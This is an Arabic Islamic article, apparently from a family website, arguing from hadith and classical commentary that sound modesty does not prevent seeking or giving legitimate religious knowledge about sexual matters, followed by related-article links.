ثانيا: الحياء السوي على هدي الكتاب والسنة نعتقد أن هناك وهمًا كبيرًا قد أحاط بمعنى الحياء نريد مستعينين بالله أن نحاول إزالة هذا الوهم الذي أدى إلى بناء سد منيع هائل بين المسلم وبين معرفة تقاليد دينه في جانب خطير من حياة كل إنسان رجلاً كان أو امرأة، وهذا الجانب يشمل كل ما له صلة بالأعضاء التناسلية أو بالمتعة الجنسية، حقًا أنه قد ورد عن رسول الله صلى الله عليه وسلم أحاديث عديدة ترفع من شأن الحياء. - فعن أبي هريرة رضي الله عنه عن النبي صلى الله عليه وسلم مر على رجل من الأنصار وهو يعظ أخاه في الحياء فقال رسول الله صلى الله عليه وسلم: "دعه فإن الحياء من الإيمان" رواه البخاري ومسلم. - وعن عبد الله بن مسعود قال: قال النبي صلى الله عليه وسلم: "إن مما أدرك الناس من كلام النبوة الأولى: إذا لم تستحِ فاصنع ما شئت" رواه البخاري ومسلم. - وعن عمران بن حصين قال: قال النبي صلى الله عليه وسلم: "الحياء لا يأتي إلا بخير"، فقال بشير بن كعب: مكتوب في الحكمة، إن من الحياء وقارًا، وإن من الحياء سكينة فقال له عمران: أحدثك عن رسول الله صلى الله عليه وسلم وتحدثني عن صحيفتك!. رواه البخاري ومسلم. قال الحافظ ابن حجر : قوله: "والحياء شعبة من الإيمان" الحياء في اللغة تغير وانكسار يعتري الإنسان من خوف ما يعاب به، وفي الشرع خلق يبعث على اجتناب القبيح، ويمنع من التقصير في حق ذي الحق، لهذا جاء في الحديث الآخر: "الحياء خير كله" ولكن استعماله وفق الشرع يحتاج إلى اكتساب علم ونية، فهو من الإيمان لهذا، ولكونه باعثًا على فعل الطاعة، وحاجزًا عن فعل المعصية، ولا يقال: رب حياء يمنع عن القول الحق أو فعل الخير، لأن ذلك ليس شرعيًّا". وقال الحافظ أيضًا: "قال عياض وغيره: إنما جعل الحياء من الإيمان وإن كان غريزة، لأن استعماله على قانون الشرع يحتاج إلى قصد واكتساب علم، وأما كونه خيرًا كله ولا يأتي إلا بخير فأشكل حمله على العموم، لأنه قد يصد صاحبه عن مواجهة من يرتكب المنكرات ويحمله على الإخلال ببعض الحقوق، والجواب أن المراد بالحياء في هذه الأحاديث ما يكون شرعيًّا، والحياء الذي ينشأ عنه الإخلال بالحقوق ليس شرعيًّا بل هو عجز ومهانة. وينبغي أن نتأمل هذا البيان من الحافظ ابن حجر ومن القاضي عياض، وتمييزهما بين الحياء السوي وبين الحياء المريض، أولهما يقول: "ولا يقال رب حياء يمنع عن قول الحق أو فعل الخير، لأن ذلك ليس شرعيًّا" وثانيهما يقول: والحياء الذي ينشأ عنه الإخلال بالحقوق ليس حياء شرعيًّا بل هو عجز ومهانة". ونخلص من هذا الكلام الرصين إلى أن الحياء السوي الذي يجله الإسلام، ويأمر به كل مسلم ومسلمة، هو ذلك الخلق الذي يبعث على اجتناب القبيح من الفعال، وهو غير الحياء الأعوج، والأفضل أن نسميه بالخجل المرضي، حتى يظل لفظ الحياء له جلاله الذي يسبغه عليه الإسلام، ولا يختلط بأوهام خارجة تمامًا عن معناه الشرعي، هذا الخجل المرضي هو الذي يحول بين الفرد رجلاً كان أو امرأة وبين قول الحق في موقف، أو يصرفه عن فعل الخير في موقف آخر، وذلك لأدنى ملابسة عارضة يحيط بها الموقف أو ذاك، كأن يكون هناك حشد كبير أو يكون الفرد حديث عهد بالأشخاص الحضور أو يكون أصغرهم سنًا أو مكانة، أو يكون الحضور من الجنس الآخر بعضهم أو كلهم، أو يكون موضوع قول الحق أو عمل المعروف له علاقة بالجنس الآخر، أو أن يكون الموضوع نفسه له صلة بالثقافة الجنسية أو ما إلى ذلك من ملابسات ضئيلة الشأن في ميزان الحق والواجب. فإذا حدث أي من هذه الملابسات فينبغي أن نسميه ضعفًا عن فعل الواجب، أو جبنًا عن قول الحق، وهكذا نسمي الأشياء بأسمائها، ونميز الحياء الشرعي عن الخجل المرضي، ولننظر الآن كيف صحح أنس رضي الله عنه فهم ابنته للحياء الشرعي: - فعن ثابت البناني قال: "كنت عند أنس وعنده ابنة له. قال أنس: جاءت امرأة إلى رسول الله صلى الله عليه وسلم تعرض عليه نفسها، قالت: يا رسول الله، ألك بي حاجة؟ فقالت بنت أنس: ما أقل حياءها!! واسوأتاه.. واسوأتاه. قال: هي خير منك، رغبت في النبي صلى الله عليه وسلم فعرضت عليه نفسها". رواه البخاري.

ولدينا في القرآن والسنة نماذج ترسم لنا كيف لا يمنع الحياء من قول الحق أو فعل الخير، وإن كان الحق والمعروف لهما صلة بالأمور الجنسية أو بالجنس الآخر، صحيح أنه يمكن أن يحدث داخل النفس نوع من التوتر يصاحب القول أو الفعل، وهذا أمر محمود، وكثيرًا ما يلازم الحياء السوي. نموذج من القرآن عن الحياء السوي: قال تعالى: "فجاءته إحداهما تمشي على استحياء قالت إن أبي يدعوك ليجزيك أجر ما سقيت لنا" سورة القصص الآية: 25. فهنا فتاة تخرج للقاء رجل غريب، ومن الطبيعي بل ومن المحمود أن يصيبها قدر من الحياء، لكن أن يبلغ بها الحياء درجة تمنعها من الخروج لهذا اللقاء وتحقيق مصلحة واجبة أو مندوبة فهذا هو المرفوض المذموم. نماذج من السنة عن الحياء السوي: - عن عائشة أن أسماء بنت أبي بكر سألت النبي صلى الله عليه وسلم عن غسل المحيض فقال: تأخذ إحداكن ماءها وسدرتها فتطهِّر فتحسن الطهور، ثم يصب على رأسها فتدلكه دلكًا شديدًا حتى تبلغ شئون رأسها ، ثم تصب عليه الماء ثم تأخذ فرصة مُمَسَّكة فتطهِّر بها، فقالت أسماء: وكيف تُطهِّر بها؟ قال: سبحان الله تطهرين بها، فقالت عائشة -كأنها تخفي ذلك- تتبعين أثر الدم، وسألته عن غسل الجنابة فقال: تأخذ ماء فتطهـِّر فتحسن الطهور أو تبلغ الطهور، ثم تصب على رأسها فتدلكه حتى تبلغ شئون رأسها ثم تفيض عليها الماء. فقالت عائشة: نعم النساء نساء الأنصار، لم يكن يمنعهن الحياء أن يتفقهن في الدين. رواه البخاري ومسلم وهذه رواية مسلم. وصدقت عائشة أم المؤمنين إذ تصف نساء الأنصار بالحياء، ذاك الحياء السوي الذي لم يمنعهن من قول الحق وعمل المعروف، وهو هنا في صورة طلب العلم والفقه في الدين. لكن لا حرج في أن يستجيب المؤمن لما يصيبه من حياء سوي، فلا يواجه الموقف بنفسه، ويلجأ إلى وسيلة أخرى تحقق المصلحة دون مواجهة، وهذا ما يفعله صحابي جليل: - فعن علي بن أبي طالب قال: "كنت رجلاً مذَّاء فاستحييت أن أسأل رسول الله صلى الله عليه وسلم ( وفي رواية: لمكان ابنته) فأمرت المقداد بن الأسود فسأله فقال: فيه الوضوء. رواه البخاري ومسلم. وفي رواية عن أبي داود عن علي قال: "كنت رجلاً مذاءً، فجعلت أغتسل حتى تشقق ظهري" وفي رواية لابن حبان: عن المقداد بن الأسود "أن علي بن أبي طالب أمره أن يسأل رسول الله صلى الله عليه وسلم عن الرجل إذا دنا من أهله فخرج منه المذي ماذا عليه؟ فإن عندي ابنته، وأنا استحيي أن أسأله. قال المقداد: فسألت رسول الله صلى الله عليه وسلم فقال: "إذا وجد ذلك أحدكم فلينضح فرجه، وليتوضأ وضوءه للصلاة". ورد في فتح الباري: قال ابن دقيق العيد: كثرة المذي هنا ناشئة عن غلبة الشهوة مع صحة الجسد. وقال الحافظ ابن حجر، في الحديث استعمال الأدب في ترك المواجهة لما يستحيي منه المرء عرفًا، وحسن المعاشرة مع الأصهار، وترك ذكر ما يتعلق بجماع المرأة ونحوه بحضرة أقاربها، وقد تقدم استدلال المصنف (أي البخاري) به في كتاب العلم لمن استحيا فأمر غيره بالسؤال، لأن فيه جمعًا بين المصلحتين: استعمال الحياء وعدم التفريط في معرفة الحكم. ثم إنه أحيانا يلجأ الإنسان صاحب الحياء السوي إلى التخفيف مما يحسه من توتر (أي حياء) وذلك بأن يقدم بين يدي حديثه عن أمر من أمور الجنس -أو يعقب عليه- فيصرح بما يخالجه من حياء وهذه نماذج لهذا السلوك السوي: - عن أم سلمة قالت: جاءت أم سليم إلى رسول الله صلى الله عليه وسلم فقالت: يا رسول الله، إن الله لا يستحي من الحق فهل على المرأة من غسل إذا احتلمت؟ فقال النبي صلى الله عليه وسلم: إذا رأت الماء. فغطت أم سلمة تعني وجهها وقالت: يا رسول الله.. أو تحتلم المرأة؟ قال: نعم. تربت يمينك . فبم يشبهها ولدها؟. رواه البخاري ومسلم. وقد أورد البخاري هذا الحديث تحت باب "الحياء في العلم" وقال مجاهد: لا يتعلم العلم مستحٍ ولا مستكبر". عن أبي موسى قال: اختلف في ذلك رهط من المهاجرين والأنصار فقال الأنصار: لا يجب الغسل إلا من الدفق أو من الماء، وقال المهاجرون: بل إذا خالط فقد وجب الغسل، قال أبو موسى: فأنا أشفيكم من ذلك، فقمت فاستأذنت على عائشة فأُذن لي، فقلت لها : يا أماه أو -يا أم المؤمنين إني أريد أن أسألك عن شيء وإني أستحييك، فقالت: لا تستحيي أن تسألني عما كنت سائلاً عنه أمك التي ولدتك، فإنما أنا أمك، قلت: فما يوجب الغسل؟ قالت: على الخبير سقطت، قال رسول الله صلى الله عليه وسلم: إذا جلس بين شعبها الأربع ومس الختان الختان، فقد وجب الغسل. رواه مسلم. ولننظر هنا كيف يظن رجل أن طلب العلم من امرأة في أمر من الأمور الجنسية، يعتبر من الرفث ، الذي ينبغي أن ينأى عنه الرجل الحيي، فترد عليه عائشة في صراحة ووضوح، دونما حرج، بأن يدفع ذاك الظن الخاطئ. على أن هناك مجالين لها علاقة بالأمور الجنسية يفرض الحياء السوي الصمت الكامل فيهما: المجال الأول: هو مجال أسرار المباشرة الزوجية. والمجال الثاني: هو مجال العبث واللهو والتندر بأمور تتعلق بالمتعة الجنسية، مما يزيح عنها رداء الصون والعفاف ويعرضها للابتذال، هذا فضلاً عما قد يثيره من الشهوة، لا سيما عند غيرالمتزوجين.

ثالثا: لا حياء في تقديم الثقافة الجنسية المشروعة أو طلبها ينبغي أن نكون على ذكر من أن الله سبحانه وتعالى، قد أنزل في كتابة الكريم من أمور الجنس شيئا كثيرًا، وفيه شواهد تطبيقية على أن ذكر الأمور الجنسية في مناسبتها لا يتعارض مع الحياء بوجه من الوجوه، وقد أنزل الله كتابه نورًا لعباده، ويسره لهم ليتلوه جميعا ويتدبره الرجل والمرأة والشاب والشيخ، فقال تعالى: "ولقد يسرنا القرآن للذكر فهل من مدكر" (سورة القمر الآية: 40) كما ينبغي أن نكون على ذكر أيضا من أنه ورد في السنة عن أبي سعيد الخدري رضي الله عنه قال: "كان النبي صلى الله عليه وسلم أشد حياء من العذراء في خدرها". رواه البخاري ومسلم. ولم يمنع هذا الحياء الجم- بل البالغ أقصى درجات الكمال، لم يمنع رسول الله صلى الله عليه وسلم من أن يعلم الناس أمور الجنس، ويستمع إلى أسئلتهم وشكاواهم المتعلقة بالجنس في سماحة ويسر، حتى وإن كانت بعض تلك الأسئلة والشكاوي صارخة التعبير. ونؤكد أنه ينبغي أن تكون لنا القدوة الحسنة في آيات كتاب الله العزيز وفي سنة رسوله الأمين فنتعلم منهما النهج السوي في الحديث عن أمور الجنس نهجًا يتسم بسمو في التعبير -مما يتوافق مع الحياء السوي، كاستعمال الكناية والمجاز، حيث يغنيان عن الحقيقة، والإشارة حيث تغني عن العبارة، والتلميح حيث يغني عن التصريح، والإجمال حيث يغني عن التفصيل، على أن الحياء السوي لا يتعارض مع نوع من التصريح أحيانا، أو مع شيء من التفصيل أحيانا، حتى يكون البيان أكمل بيان. وسنعرض هنا مجموعة شواهد تبين كيف عالج القرآن الكريم في أدب كثيرًا من القضايا التي لها علاقة بالأعضاء التناسلية أو بالمتعة الجنسية، فقدم بذلك للمؤمنين والمؤمنات ثقافة جنسية رصينة، ثم نعرض شواهد أخرى تبين كي تأسَّى رسولنا صلى الله عليه وسلم بالقرآن العظيم، وكذلك صحابته الكرام ثم بعده، فعالجوا جميع تلك القضايا في وضوح، وهو على أتم الحياء وأكمله في الوقت نفسه، فبدافع من الحياء كانوا يقفون من الحديث عند قدر الحاجة لا يتجاوزونها، وكانوا يتحرون الجد ويجتنبون الهزل وكانوا يقصدون المصلحة لا المفسدة، رائدهم دائما العفاف والطهر لا المجون ولا الفجور. إن أعضاء البدن كله تشمله الطهارة والكرامة سواء كانت ضمن الجهاز التنفسي أو الجهاز الهضمي أو الجهاز التناسلي، وكذلك إعمال الإنسان كلها تشمل الطهارة والكرامة، إذا تمت وفق شرع الله، سواء أكانت أعمال التجارة، أو أعمال القتال أو أعمال المباشرة الجنسية، لذا كان من الطبيعي أن تذكر أعضاء التناسل، وأعمال المباشرة الجنسية، وما يؤدي إليها وما ينتج عنها عندما تأتي المناسبة، كما تذكر أعضاء الأكل والشرب أو أعمال القتال عندما يأتي مناسبتها. وكما أنه لا حرج في ذكر اليدين والفم أو في ذكر الدم والدمع، فلا حرج في ذكر السوأتين والفرج أو في ذكر النطفة والمني، وكما أنه لا حرج في ذكر الجوع والظمأ، أو في ذكر أكل الطعام وشرب الماء، فكذلك لا حرج في ذكر المحيض والطهر وفي ذكر الرفث إلى النساء ومس النساء، ما دامت المناسبة مشروعة، والأسلوب راقيًا، والهدف هو مصلحة المؤمنين والمؤمنات في دينهم ودنياهم .

تتعدد المواقف التي يجد فيها الزوجان أن لكل منهما رغبات واحتياجات لا تتفق مع ما يريده الآخر..وتواجه الحياة الزوجية أزمات حادة حين يصر كل طرف على ما يريد، كما أن فوز طرف وخسارة الآخر لا تعني مرور الأزمة بسلام بل فقط تأجيل الانفجار لوقت لاحق لشعور طرف بالغبن وتجاهل رغباته أو احتياجاته

هل نحن في حاجة إلى ثقافة جنسية؟/ FIFA 15 PS3 Fut 15 coins for sale

15/04/09


إقرأ أيضا
فكرة لإعتذار رومانسي
كثيراما تحدث بين الزوجين الخلافات فلا توجد حياة بدون مشاكل , فهي بهارات الحياة الزوجيه لا تسير على وتيره واحده بل هناك شجار ونقار وحب وحنان فإذا بدر ...
[زيارات : 1665]
الهمسة والنظرة واللمسة .. لغة حوار بينالأزواج
تعالوا نتأمل تعبيرات القرآن المعجزة في وصف العلاقة بين الرجل والمرأة والتي كم هي تعبيرات مهذبة، ولكنها محملة بالمعاني والمشاهد التي ربما تعجز عنها كتب ...
[زيارات : 1181]
ليلة زوجت ابنتي نورة
كانت ليلة زفافها ليلة غير عادية، اختلطت فيها مشاعر الفرح بالحزن والخوف. كانت نورة ابنتي الوحيدة، وكانت علاقتي بها أكثر من مجرد علاقة بنت بأبيها. ولدت ...
[زيارات : 1927]
اعترافات أستاذ جامعي
تزوجت منذ عشرين عامًا، ويا ليتني ما تزوجت.. أكره زوجتي، السبب لأنها تكرهني بحقد دفين، لا أدري لماذا، لعلها كانت تحب رجلا غيري، وتزوج غيرها، وتزوجتني ح ...
[زيارات : 1405]
سبعة أيام من المعاشرة اللذيذة
كثر الكلام عن العلاقة الحميمة بين الزوج والزوجة، وكيف يمكن توثيق هذه العلاقة وتوسيع أبعادها والارتقاء بمستواها. ومعظم النصائح التي يقدمها الخبراء بهذا ...
[زيارات : 2169]